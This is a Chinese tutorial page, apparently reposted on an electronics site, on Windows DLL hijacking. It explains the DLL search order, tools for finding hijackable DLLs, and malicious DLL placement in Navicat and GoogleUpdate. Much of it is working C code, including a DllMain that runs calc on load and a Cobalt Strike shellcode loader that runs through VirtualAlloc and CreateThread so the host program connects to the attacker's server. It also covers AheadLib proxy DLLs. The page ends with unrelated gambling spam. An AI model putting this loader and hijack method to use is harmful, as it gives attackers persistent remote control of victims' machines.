吴忠躺衫网络科技有限公司

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

DLL簡介

哆啦安全 ? 來源:哆啦安全 ? 2023-05-22 15:51 ? 次閱讀

DLL 劫持

DLL 簡介

在 Windows 中,許多應用程序并不是一個完整的可執(zhí)行文件,它們被分割成一些相對獨立的動態(tài)鏈接庫,即 DLL 文件,放置于系統(tǒng)中。當我們執(zhí)行某一個程序時,相應的 DLL 文件就會被調用。一個應用程序可使用多個 DLL 文件,一個 DLL 文件也可能被不同的應用程序使用,這樣的 DLL 文件被稱為共享 DLL 文件。

DLL 加載順序

如果程序需要加載一個相對路徑的 dll 文件,它將從當前目錄下嘗試查找,如果找不到,則按照如下順序尋找:

windows xp sp2 之前

Windows 查找 DLL 的目錄以及對應的順序:

進程對應的應用程序所在目錄;

當前目錄(Current Directory);

系統(tǒng)目錄(通過 GetSystemDirectory 獲取);

16 位系統(tǒng)目錄;

Windows 目錄(通過 GetWindowsDirectory 獲取);

PATH 環(huán)境變量中的各個目錄;

windows xp sp2 之后

Windows 查找 DLL 的目錄以及對應的順序(SafeDllSearchMode 默認會被開啟):

默認注冊表為:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其鍵值為 1

進程對應的應用程序所在目錄(可理解為程序安裝目錄比如 C:ProgramFilesuTorrent)

系統(tǒng)目錄(即 % windir% system32);

16 位系統(tǒng)目錄(即 % windir% system);

Windows 目錄(即 % windir%);

當前目錄(運行的某個文件所在目錄,比如 C:Documents and SettingsAdministratorDesktop est);

PATH 環(huán)境變量中的各個目錄;

windows 7 以上版本

從 Windows7 之后,微軟為了更進一步的防御系統(tǒng)的 DLL 被劫持,將一些容易被劫持的系統(tǒng) DLL 寫進了一個注冊表項中,該項下的 DLL 文件就會被禁止從 EXE 自身所在的目錄下調用,而只能從系統(tǒng)目錄 SYSTEM32 目錄下調用,其注冊表位置:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

1fec4ade-f6a8-11ed-90ce-dac502259ad0.png

自動化挖掘

批量尋找劫持

https://github.com/wietze/windows-dll-hijacking

PLAINTEXT

1
python generate_pmc_files.py

20375ff6-f6a8-11ed-90ce-dac502259ad0.png

單個查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

編譯完成后,把 Prerequisites 文件夾里的內容拷貝至 ImpulsiveDLLHijack 項目里

20997a4c-f6a8-11ed-90ce-dac502259ad0.png

PLAINTEXT

1
ImpulsiveDLLHijack.exe -path xxx.exe

20d27b12-f6a8-11ed-90ce-dac502259ad0.png

這里使用navicat進行測試,可見運行的時候會加載C:UsersdyyAppDataLocalProgramsPythonPython38Scriptsoci.dll

211639ce-f6a8-11ed-90ce-dac502259ad0.png

使用 cs 生成惡意 dll,重命名為oci.dll后放置到該目錄下

216571c4-f6a8-11ed-90ce-dac502259ad0.png

2195cc52-f6a8-11ed-90ce-dac502259ad0.png

手動挖掘

Process Monitor 查找可用 dll,設置如下圖所示

21b2ab4c-f6a8-11ed-90ce-dac502259ad0.png

配置完可以保存導出配置,下次直接導入使用

21dc8db8-f6a8-11ed-90ce-dac502259ad0.png

使用GoogleUpdate.exe進行測試,運行程序 filter 加載所使用的 dll 文件

220e551e-f6a8-11ed-90ce-dac502259ad0.png

這里可以看出來,當GoogleUpdate.exe程序運行的時候,會調用當前目錄下的goopdate.dll文件

編寫一個基礎的彈窗 dll

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include 
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加載到內存時運行
    case DLL_PROCESS_DETACH://DLL銷毀時運行
    case DLL_THREAD_ATTACH://DLL線程加載時運行
    case DLL_THREAD_DETACH://DLL線程銷毀時運行
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}

2239d086-f6a8-11ed-90ce-dac502259ad0.png

彈計算器

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

2260496e-f6a8-11ed-90ce-dac502259ad0.png

CS 上線

cs 生成 c 的 payload

22b3825a-f6a8-11ed-90ce-dac502259ad0.png

22d9e846-f6a8-11ed-90ce-dac502259ad0.png

生成的payload填入到下面相應的位置上

CPP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 頭文件
#include "pch.h"
#include 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函數(shù)
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}

2329b3d0-f6a8-11ed-90ce-dac502259ad0.png

運行navicat程序就會上線

2354d240-f6a8-11ed-90ce-dac502259ad0.png

DLL 轉發(fā)劫持

有時候當我們替換 dll 后,雖然可以執(zhí)行命令,但是會產生報錯

239cd3ce-f6a8-11ed-90ce-dac502259ad0.png

這時候我們可以使用AheadLib工具,使惡意的 DLL 將原有的函數(shù)轉發(fā)到原 DLL 中并且釋放惡意代碼

打開工具導入 dll 文件,會生成相應的 cpp 文件

直接轉發(fā)函數(shù),我們只能控制 DllMain 即調用原 DLL 時觸發(fā)的行為可控
即時調用函數(shù),可以在處理加載 DLL 時,調用具體函數(shù)的時候行為可控,高度自定義觸發(fā)點,也稱用來 hook 某些函數(shù),獲取到參數(shù)

23d2f0bc-f6a8-11ed-90ce-dac502259ad0.png

23fc5baa-f6a8-11ed-90ce-dac502259ad0.png

241c0c66-f6a8-11ed-90ce-dac502259ad0.png

審核編輯:彭靜
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權轉載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • dll
    dll
    +關注

    關注

    0

    文章

    116

    瀏覽量

    45543
  • WINDOWS
    +關注

    關注

    4

    文章

    3569

    瀏覽量

    89296
  • 應用程序
    +關注

    關注

    38

    文章

    3292

    瀏覽量

    57911

原文標題:DLL 劫持

文章出處:【微信號:哆啦安全,微信公眾號:哆啦安全】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    winspool dll下載

    winspool dll
    發(fā)表于 08-31 15:54 ?12次下載
    winspool <b class='flag-5'>dll</b>下載

    comres.dll下載 (comres.dll文件病毒)

    描述:comres.dll是系統(tǒng)的動態(tài)鏈接庫文件。   文件路徑: C:WINDOWSsystem32comres.dll   備份文件路徑: C:WINDOWSsystem32dllcachecomres.dll   Vist
    發(fā)表于 11-28 14:12 ?113次下載
    comres.<b class='flag-5'>dll</b>下載 (comres.<b class='flag-5'>dll</b>文件病毒)

    dinput8.dll下載 (dinput8.dll文件修復)

     dinput8.dll文件丟失了怎么辦,下載一個然后到到:C:WINDOWSsystem32 目錄下就可以了。 dinput8 - dinput8.dll - DLL文件信息   
    發(fā)表于 11-28 14:17 ?805次下載
    dinput8.<b class='flag-5'>dll</b>下載 (dinput8.<b class='flag-5'>dll</b>文件修復)

    usp10.dll下載 (usp10.dll文件)

      usp10.dll是什么?usp10.dll是字符顯示腳本應用程序接口相關文件。如果出現(xiàn)"沒有找到usp10.dll"文件或者"找不到usp10.dll "的問題,就下載usp10
    發(fā)表于 11-28 15:04 ?238次下載
    usp10.<b class='flag-5'>dll</b>下載 (usp10.<b class='flag-5'>dll</b>文件)

    如何編寫dll文件

    如何編寫dll文件:可以用幾種語言來實現(xiàn),如delphi編寫dll,pb編寫dll文件,java 編寫dll,vc 編寫dll,mfc
    發(fā)表于 01-16 10:20 ?8897次閱讀

    imm32.dll是什么

    imm32.dll是什么 :imm32 - imm32.dll - DLL文件信息   DLL 文件: imm32 或者 imm32.dll
    發(fā)表于 11-28 14:05 ?2512次閱讀

    comres.dll是什么,comres.dll怎么修復

    comres.dll是什么 comres.dll是系統(tǒng)的動態(tài)鏈接庫文件。   文件路徑: C:WINDOWSsystem32comres.dll   備份文件路徑: C:WINDOWSsystem32dllcachecomre
    發(fā)表于 11-28 14:13 ?1607次閱讀

    dinput8.dll是什么

    dinput8.dll是什么 dinput8 - dinput8.dll - DLL文件信息   DLL 文件: dinput8 或者 dinput8.
    發(fā)表于 11-28 14:17 ?4980次閱讀

    什么是DLL (動態(tài)連接庫)

    什么是DLL (動態(tài)連接庫) DLL(動態(tài)連接庫),既然是動態(tài),那么就是有靜態(tài)連接庫,我想如果這么說大家會更明白
    發(fā)表于 11-28 14:51 ?1.5w次閱讀

    msvcirt.dll是什么

    msvcirt.dll是什么 msvcirt.dll是微軟C語言程序運行庫相關文件,用于例如打印。  屬于: Windows   系統(tǒng) DLL文件: 否  常見
    發(fā)表于 11-28 15:12 ?1712次閱讀
    msvcirt.<b class='flag-5'>dll</b>是什么

    mfc71.dll是什么

    mfc71.dll是什么 mfc71.dll是Microsoft基礎類( MFC )在創(chuàng)建Microsoft Visual Studio所使用的應用功能模塊,此mfc71.dll并非病毒文件  進程位
    發(fā)表于 11-28 15:17 ?2338次閱讀
    mfc71.<b class='flag-5'>dll</b>是什么

    DLL在_FPGA時鐘設計中的應用

    DLL在_FPGA時鐘設計中的應用,主要說明DLL的原理,在Xilinx FPGA中是怎么實現(xiàn)的。
    發(fā)表于 10-28 14:25 ?1次下載

    LabVIEW創(chuàng)建DLL

    1、LabVIEW也可以創(chuàng)建DLL 2、調用規(guī)范說明:C調用規(guī)范時,調用方負責清空堆棧。使用標準調用規(guī)范時,被調用函數(shù)負責清空堆棧。 所以要確認您選擇了和DLL相同的調用規(guī)范 3、調用庫函數(shù)
    發(fā)表于 12-04 10:52 ?0次下載

    Lbview調用dll

    Lbview 調用dll資料分享。
    發(fā)表于 05-16 15:57 ?13次下載

    Windows操作系統(tǒng)中DLL簡介

    本文章是蛇矛實驗室基于"火天網(wǎng)測網(wǎng)絡安全測試平臺"進行編寫及驗證,通過火天網(wǎng)測中的病毒測試模塊,可以對文件進行詳盡的評估, 從而對文件是否存在惡意行為進行判斷。
    的頭像 發(fā)表于 10-20 09:52 ?2760次閱讀
    永利国际| 雁荡棋牌游戏| 大发888在线登陆| 至尊娱乐| 网上百家乐官网怎么破解| 百家乐官网搏牌| 百家乐长玩必输| 百家乐赌马| 大发888赌场 游戏平台| 白山市| 百家乐官网网上赌有作假吗| 百家乐游戏出售| 杰克百家乐玩法| 大发888游戏下载平台| 桂阳县| 百家乐官网长龙技巧| 百家乐存在千术吗| 威尼斯人娱乐网反| 六合投注系统| 澳门百家乐官网牌规| 百家乐赌的技巧| 正品百家乐的玩法技巧和规则| 百家乐注册| 百家乐官网出千的方法| 百家乐平六亿财富| bet365网址| 百家乐官网赌场论坛在线| 百家乐买闲打法| 大发888娱乐官方下载| 百家乐官网网上投注网站| A8百家乐游戏| 大发888赌场网址| 百家乐官网游戏世界视频| 百家乐博彩博彩网| 本溪棋牌娱乐网| 百家乐官网发牌靴遥控| 百家乐翻牌规则| 百家乐官网U盘下载| 百家乐视频游戏大厅| 必博备用网址| 做生意布局风水|